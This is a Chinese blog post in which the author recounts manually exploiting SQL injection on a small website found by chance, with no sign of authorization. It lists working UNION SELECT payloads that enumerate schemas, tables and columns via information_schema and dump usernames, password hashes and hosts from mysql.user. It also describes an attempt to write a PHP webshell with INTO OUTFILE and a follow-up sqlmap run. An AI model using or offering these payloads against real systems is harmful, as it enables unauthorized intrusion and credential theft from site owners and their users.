zoukankan      html  css  js  c++  java
  • 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎)

    小站没有上WAF,用1=1、1=2就可以检测注入点,就不放截图了。

    然后order by 、联合查询什么的也都是基本操作。。直接进入最关键的手工爆表好了。(已知第二列和第三列有回显,MySQL version是5.6,所以直接从information_schema中就可以方便的查询)

    1、爆其他数据库;

    查询语句为:xxx?id=-4 union select 1,SCHEMA_NAME,3,4,5,6,7,8 FROM information_schema.schemata

    页面返回为:

    2、爆其他表(数据库选择刚才爆出的mysql)

    查询语句为:xxx?id=-4 union select 1,TABLE_NAME,3,4,5,6,7,8 FROM information_schema.tables WHERE TABLE_SCHEMA=0x6d7973716c


    这里的0x6d7973716c是mysql的十六进制表示,如果直接写mysql字符串的话数据库是不能解析的,所以要传递16进制形式的数据库名

    这里有很多表,我们只需关注user表就可以,其实其他的表也会存放一些敏感数据,比如该网站的注册会员的登录信息等等,但我们目标是服务器。

    3、爆字段

    查询语句为:xxx?id=-4 union select 1,COLUMN_NAME,3,4,5,6,7,8 FROM information_schema.columns WHERE TABLE_NAME=0x75736572

    同理,0x75736572是user表的十六进制表示。

    这里我们可能关心的是以上三列的数据,user、password、host,让我们进行最后的爆数据吧!

    4、爆数据

    查询语句为:xxx?id=-4 union select 1,concat_ws(0x2c,User,Password,Host),3,4,5,6,7,8 FROM mysql.user

    由于我要查询的有三列数据,所以这里我用了concat_ws函数进行拼接后输出,0x2c是逗号

     done,手工测试到此完成,可以说是非常非常普通的正规思路了,没有一点绕过的地方直接搞就行了。

    其实这里我尝试用into outfile写php的一句话木马,但是发现没有成功,编码也不行,一直报mysql_fetch_array(): supplied argument is not a valid MySQL result resource的错误。

     查了一些资料,使用mysql直接写入木马的必要条件有三:

    1、root权限(排除)

    2、知道网站根目录的地址(排除,从随便一个报错信息中都可以爆出物理绝对路径)

    3、magic_quotes_gpc()=OFF(有可能)

    4、没有write权限(有可能)

     用sqlmap跑下试试,看来的确如此

    大概就这些吧。

    #########################

     谁能告诉我为什么发布以后布局这么丑,蛋疼

  • 相关阅读:
    Jmeter逻辑控制器
    python学习笔记——%占位符的使用
    python学习笔记——生成随机数
    python学习笔记——变量的规则
    loadrunner11中HTTP/HTML的HTML-base script的两种script type有什么区别?
    loadrunner11如何实时查看脚本的运行情况?
    loaderunner11回放脚本时如何设置【运行时行为】?
    appium学习笔记之——popupwindow控件元素无法定位
    Chrome、Firefox、IE等浏览器驱动diver程序存放目录
    npm方式安装appium环境所遇到的各种问题
  • 原文地址:https://www.cnblogs.com/co10rway/p/7979750.html
Copyright © 2011-2022 走看看